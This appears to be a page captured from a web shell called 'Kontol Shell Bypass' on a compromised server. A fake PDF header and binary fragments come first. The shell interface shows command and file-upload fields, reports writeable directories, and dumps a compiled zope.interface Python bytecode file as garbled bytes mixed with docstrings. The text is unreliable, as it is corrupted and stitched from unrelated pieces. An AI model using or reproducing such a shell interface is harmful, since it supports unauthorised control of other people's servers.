%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/zope/interface/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/zope/interface/__pycache__/verify.cpython-39.pyc
a

�_g��@s�dZddlZddlZddlmZddlmZddlmZddlmZddlm	Z	ddlm
Z
dd	lmZdd
lm
Z
ddlmZddlmZd
dgZefZddd�Zdd�Zddd�Zddd
�Zeje_dZdd�ZdS)z!Verify interface implementations
�N)�FunctionType)�
MethodType)�BrokenImplementation)�BrokenMethodImplementation)�DoesNotImplement)�Invalid)�MultipleInvalid)�Method)�fromFunction)�
fromMethod�verifyObject�verifyClassFc	Cs�|dkr|j}n|j}g}|s6||�s6|�t||��|jdd�D]L\}}zt|||||�WqBty�}z|�|�WYd}~qBd}~00qB|r�t|�dkr�|d�t|||��dS)a�
    Verify that *candidate* might correctly provide *iface*.

    This involves:

    - Making sure the candidate claims that it provides the
      interface using ``iface.providedBy`` (unless *tentative* is `True`, in
      which case this step is skipped). This means that the candidate's class
      declares that it `implements <zope.interface.implementer>` the
      interface, or the candidate itself declares that it `provides
      <zope.interface.provider>`
      the interface

    - Making sure the candidate defines all the necessary methods

    - Making sure the methods have the correct signature (to the
      extent possible)

    - Making sure the candidate defines all the necessary attributes

    :return bool: Returns a true value if everything that could be
       checked passed.
    :raises zope.interface.Invalid: If any of the previous
       conditions does not hold.

    .. versionchanged:: 5.0
        If multiple methods or attributes are invalid, all such errors
        are collected and reported. Previously, only the first error was
        reported.  As a special case, if only one such error is present, it is
        raised alone, like before.
    �cT)�allN�r)	Z
implementedByZ
providedBy�appendrZnamesAndDescriptions�_verify_elementr�lenr)	�iface�	candidate�	tentative�vtype�testerZexcs�name�desc�e�r�B/vddos/python/lib/python3.9/site-packages/zope/interface/verify.py�_verify)s !"rcCs0zt||�}Wn6tyDt|t�s4|dkr4YdSt|||��Yn0t|t�sTdSt�|�sht�|�rldSt|t�r�t|t	�r�|dkr�t
|||dd�}nt
|||d�}nZt|t�r�t	|j�tur�t
|||�}n4t|t�r�|dkr�dSt|��st|d|||��dSt|��|���}|�r,t|||||��dS)Nrr)rZimlevel)rzimplementation is not a method)�getattr�AttributeError�
isinstancer	r�inspect�ismethoddescriptor�	isbuiltinr�typer
�MethodTypes�__func__r�property�callabler�	_incompatZgetSignatureInfo)rrrrr�attr�methZmessrrrrasB


��
�	rcCst|||dd�S)zF
    Verify that the *candidate* might correctly provide *iface*.
    r�r�r�rrrrrrr
�scCst|||dd�S)N�or-r.r/rrrr�sz*implementation requires too many argumentscCslt|d�t|d�krtSt|d�t|d�kr@|ds@dS|drT|dsTdS|drh|dshdSdS)N�required�
positional�varargsz-implementation doesn't allow enough arguments�kwargsz0implementation doesn't support keyword argumentsz1implementation doesn't support variable arguments)r�
_MSG_TOO_MANY)r1Zimplementedrrrr*�s��r*)FN)F)F)�__doc__r"�sys�typesrrZzope.interface.exceptionsrrrrrZzope.interface.interfacer	r
r�__all__r&rrr
rr5r*rrrr�<module>s.�
8N



Kontol Shell Bypass